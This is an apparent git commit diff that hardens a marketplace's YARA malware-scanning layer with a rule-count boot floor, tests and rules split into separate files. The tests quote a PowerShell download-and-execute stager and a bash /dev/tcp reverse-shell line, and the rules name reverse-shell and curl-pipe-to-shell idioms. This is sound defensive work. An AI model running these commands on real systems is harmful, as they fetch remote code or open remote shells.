max / makenotwork

Fix SEC-S2: harden YARA corpus floor + expand conservative ruleset The YARA boot floor (assert_live) existed but YARA_MIN_RULE_FILES defaulted to 0 (off), so a hollow or silently-shrunk corpus passed as a live layer. The corpus was also one file / two rules. - Default YARA_MIN_RULE_FILES to DEFAULT_YARA_MIN_RULE_FILES (= bundled corpus size) so a silent compile-drop fails boot loudly by default, not opt-in. - Split + expand the corpus into three files: eicar test vector, script downloaders (existing, +wget), and a new low-false-positive reverse-shell one-liner rule (bash /dev/tcp, nc/ncat -e, python socket+pty/dup2). Kept conservative on purpose: creators sell arbitrary software/scripts, so aggressive heuristics would false-positive on legitimate paid uploads; ClamAV + MalwareBazaar/MetaDefender carry the real signature load and untrusted uploads are held for review regardless. - Tests: shipped_corpus_is_healthy pins that the bundled corpus compiles, its file count matches the floor constant (drift guard), and each rule fires on a sample while clean content passes; assert_live floor enforcement (degraded corpus refuses boot; corpus meeting the floor boots). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

Author: Max Johnson <me@maxj.phd> · 2026-06-18 00:58 UTC

Commit: b19a53f8e5da80bc451c4ab9465567625673a31a

Parent: 784e61b

7 files changed, +138 insertions, -31 deletions

M server/src/config.rs +13 -5

			@@ -475,13 +475,21 @@ pub struct ScanConfig {
475	475		/// invoked when another layer flagged the file as suspicious.
476	476		pub metadefender_api_key: Option<String>,
477	477		/// Minimum number of YARA rule files that must compile for the corpus to be
478		-	/// considered healthy. `0` disables the check (default). Set it to the known
479		-	/// deployed corpus size so a silent drop (a dependency/format change that
480		-	/// makes rules uncompilable) fails boot loudly rather than degrading
481		-	/// coverage unnoticed.
	478	+	/// considered healthy. `0` disables the check. Defaults to
	479	+	/// [`DEFAULT_YARA_MIN_RULE_FILES`] (the size of the bundled corpus) so a
	480	+	/// silent drop — a dependency/format change that makes rules uncompilable —
	481	+	/// fails boot loudly rather than degrading coverage unnoticed. Set it
	482	+	/// explicitly when pointing `YARA_RULES_DIR` at a larger external corpus.
482	483		pub yara_min_rule_files: usize,
483	484		}
484	485
	486	+	/// Floor for [`ScanConfig::yara_min_rule_files`], matching the count of `.yar`
	487	+	/// files bundled in `server/yara-rules/`. Kept in sync by
	488	+	/// `scanning::yara::tests::shipped_corpus_is_healthy`, which fails if the
	489	+	/// bundled corpus count drifts from this value. Bumping the corpus means
	490	+	/// bumping this constant (and the test catches a forgotten bump).
	491	+	pub const DEFAULT_YARA_MIN_RULE_FILES: usize = 3;
	492	+
485	493		impl ScanConfig {
486	494		/// Load scan configuration from environment variables.
487	495		/// Returns Some if SCAN_ENABLED=true (default), None if explicitly disabled.
			@@ -509,7 +517,7 @@ impl ScanConfig {
509	517		yara_min_rule_files: std::env::var("YARA_MIN_RULE_FILES")
510	518		.ok()
511	519		.and_then(\|v\| v.parse().ok())
512		-	.unwrap_or(0),
	520	+	.unwrap_or(DEFAULT_YARA_MIN_RULE_FILES),
513	521		})
514	522		}
515	523		}

M server/src/scanning/mod.rs +38

			@@ -644,6 +644,44 @@ mod tests {
644	644		})
645	645		}
646	646
	647	+	/// SEC-S2: a corpus that compiled fewer rule files than the configured floor
	648	+	/// is degraded coverage masquerading as a live layer — boot must fail closed.
	649	+	#[tokio::test]
	650	+	async fn assert_live_refuses_degraded_yara_corpus() {
	651	+	let mut compiler = yara_x::Compiler::new();
	652	+	compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap();
	653	+	let pipeline = std::sync::Arc::new(ScanPipeline {
	654	+	yara_rules: Some(compiler.build()),
	655	+	yara_rule_count: 1,
	656	+	yara_min_rule_files: 2,
	657	+	clamav_socket: None,
	658	+	malwarebazaar_enabled: false,
	659	+	urlhaus_enabled: false,
	660	+	abuse_ch_auth_key: None,
	661	+	metadefender_api_key: None,
	662	+	});
	663	+	let err = pipeline.assert_live().await.expect_err("degraded corpus must refuse boot");
	664	+	assert!(err.contains("YARA corpus degraded"), "unexpected error: {err}");
	665	+	}
	666	+
	667	+	/// The complement: a corpus meeting the floor boots, with YARA counted live.
	668	+	#[tokio::test]
	669	+	async fn assert_live_accepts_corpus_meeting_floor() {
	670	+	let mut compiler = yara_x::Compiler::new();
	671	+	compiler.add_source(r#"rule r { strings: $a = "x" condition: $a }"#).unwrap();
	672	+	let pipeline = std::sync::Arc::new(ScanPipeline {
	673	+	yara_rules: Some(compiler.build()),
	674	+	yara_rule_count: 3,
	675	+	yara_min_rule_files: 3,
	676	+	clamav_socket: None,
	677	+	malwarebazaar_enabled: false,
	678	+	urlhaus_enabled: false,
	679	+	abuse_ch_auth_key: None,
	680	+	metadefender_api_key: None,
	681	+	});
	682	+	pipeline.assert_live().await.expect("a corpus meeting the floor must boot");
	683	+	}
	684	+
647	685		#[tokio::test]
648	686		async fn pipeline_clean_download_passes() {
649	687		let pipeline = make_pipeline();

M server/src/scanning/yara.rs +36

			@@ -431,6 +431,42 @@ mod tests {
431	431		assert_eq!(count, 1, "the one valid file compiled; the bad one was skipped");
432	432		}
433	433
	434	+	/// The bundled `server/yara-rules/` corpus must compile, its file count must
	435	+	/// match `DEFAULT_YARA_MIN_RULE_FILES` (so adding/removing a rule file forces
	436	+	/// updating the floor constant — drift guard), and each shipped rule must
	437	+	/// actually fire on a representative sample while clean creative content
	438	+	/// passes. This is the regression net for SEC-S2: a silently-broken or
	439	+	/// silently-shrunk corpus fails here at test time, and the boot floor catches
	440	+	/// it in production.
	441	+	#[test]
	442	+	fn shipped_corpus_is_healthy() {
	443	+	let dir = concat!(env!("CARGO_MANIFEST_DIR"), "/yara-rules");
	444	+	let (rules, count) = compile_rules_from_dir(dir).expect("bundled corpus must compile");
	445	+	let rules = rules.expect("bundled corpus must produce rules");
	446	+	assert_eq!(
	447	+	count,
	448	+	crate::config::DEFAULT_YARA_MIN_RULE_FILES,
	449	+	"bundled .yar file count drifted from DEFAULT_YARA_MIN_RULE_FILES — \
	450	+	update the constant (and the boot floor it feeds)"
	451	+	);
	452	+
	453	+	// EICAR test vector fires.
	454	+	let eicar = br"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
	455	+	assert_eq!(scan_with_yara(&rules, eicar).verdict, LayerVerdict::Fail, "eicar must match");
	456	+
	457	+	// Script-downloader stager fires (two PowerShell tokens).
	458	+	let downloader = b"powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://x/y')";
	459	+	assert_eq!(scan_with_yara(&rules, downloader).verdict, LayerVerdict::Fail, "downloader must match");
	460	+
	461	+	// Reverse-shell one-liner fires (bash /dev/tcp idiom).
	462	+	let revshell = b"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1";
	463	+	assert_eq!(scan_with_yara(&rules, revshell).verdict, LayerVerdict::Fail, "reverse shell must match");
	464	+
	465	+	// Ordinary content with none of the idioms passes (false-positive guard).
	466	+	let clean = b"a perfectly normal track description mentioning a shell on the beach";
	467	+	assert_eq!(scan_with_yara(&rules, clean).verdict, LayerVerdict::Pass, "clean content must pass");
	468	+	}
	469	+
434	470		#[test]
435	471		fn default_namespace_rule_is_unprefixed() {
436	472		// Catches the L79 `==` → `!=` mutation. The function emits "rule" for

D server/yara-rules/mnw_custom.yar -26

		@@ -1,26 +0,0 @@
1	-	// MakeNotWork custom YARA rules
2	-	// Platform-specific threats and common test patterns
3	-
4	-	rule eicar_test_file {
5	-	meta:
6	-	description = "EICAR anti-virus test file"
7	-	reference = "https://www.eicar.org/download-anti-malware-testfile/"
8	-	strings:
9	-	$eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
10	-	condition:
11	-	$eicar
12	-	}
13	-
14	-	rule suspicious_script_in_binary {
15	-	meta:
16	-	description = "Executable containing embedded script downloaders"
17	-	strings:
18	-	$ps1 = "powershell" ascii nocase
19	-	$ps2 = "Invoke-Expression" ascii nocase
20	-	$ps3 = "DownloadString" ascii nocase
21	-	$bash1 = "curl " ascii
22	-	$bash2 = "\| bash" ascii
23	-	$bash3 = "\| sh" ascii
24	-	condition:
25	-	(2 of ($ps*)) or ($bash1 and ($bash2 or $bash3))
26	-	}

A server/yara-rules/mnw_reverse_shells.yar +21

		@@ -0,0 +1,21 @@
1	+	// MakeNotWork - interactive reverse-shell one-liners.
2	+	// These idioms are extremely specific to remote-shell payloads and effectively
3	+	// never appear in audio/image/video/archive creative content. Untrusted uploads
4	+	// are held for review regardless; this catches the obvious stagers in-process.
5	+
6	+	rule reverse_shell_oneliner {
7	+	meta:
8	+	description = "Classic interactive reverse-shell one-liners (bash/nc/python)"
9	+	strings:
10	+	$bash_devtcp = "/dev/tcp/" ascii // bash -i >& /dev/tcp/host/port 0>&1
11	+	$bash_redir = ">&" ascii
12	+	$nc_e = "nc -e /bin/" ascii
13	+	$ncat_e = "ncat -e /bin/" ascii
14	+	$py_rs = "import socket,subprocess,os" ascii
15	+	$py_pty = "pty.spawn(\"/bin/sh\")" ascii nocase
16	+	$py_dup2 = "subprocess.call([\"/bin/sh\",\"-i\"]" ascii nocase
17	+	condition:
18	+	($bash_devtcp and $bash_redir)
19	+	or $nc_e or $ncat_e
20	+	or ($py_rs and ($py_pty or $py_dup2))
21	+	}

A server/yara-rules/mnw_script_downloaders.yar +19

		@@ -0,0 +1,19 @@
1	+	// MakeNotWork - embedded script downloaders / stagers.
2	+	// Conservative: a binary/asset that bundles a remote-fetch-and-execute stager
3	+	// is highly suspicious for a creative-content marketplace. Multi-token
4	+	// conditions keep false positives off legitimate code samples.
5	+
6	+	rule suspicious_script_in_binary {
7	+	meta:
8	+	description = "Executable/asset containing embedded script downloaders"
9	+	strings:
10	+	$ps1 = "powershell" ascii nocase
11	+	$ps2 = "Invoke-Expression" ascii nocase
12	+	$ps3 = "DownloadString" ascii nocase
13	+	$bash1 = "curl " ascii
14	+	$bash2 = "\| bash" ascii
15	+	$bash3 = "\| sh" ascii
16	+	$wget1 = "wget " ascii
17	+	condition:
18	+	(2 of ($ps*)) or (($bash1 or $wget1) and ($bash2 or $bash3))
19	+	}

A server/yara-rules/mnw_test_files.yar +11

		@@ -0,0 +1,11 @@
1	+	// MakeNotWork - AV test vectors (deterministic, zero false positives).
2	+
3	+	rule eicar_test_file {
4	+	meta:
5	+	description = "EICAR anti-virus test file"
6	+	reference = "https://www.eicar.org/download-anti-malware-testfile/"
7	+	strings:
8	+	$eicar = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
9	+	condition:
10	+	$eicar
11	+	}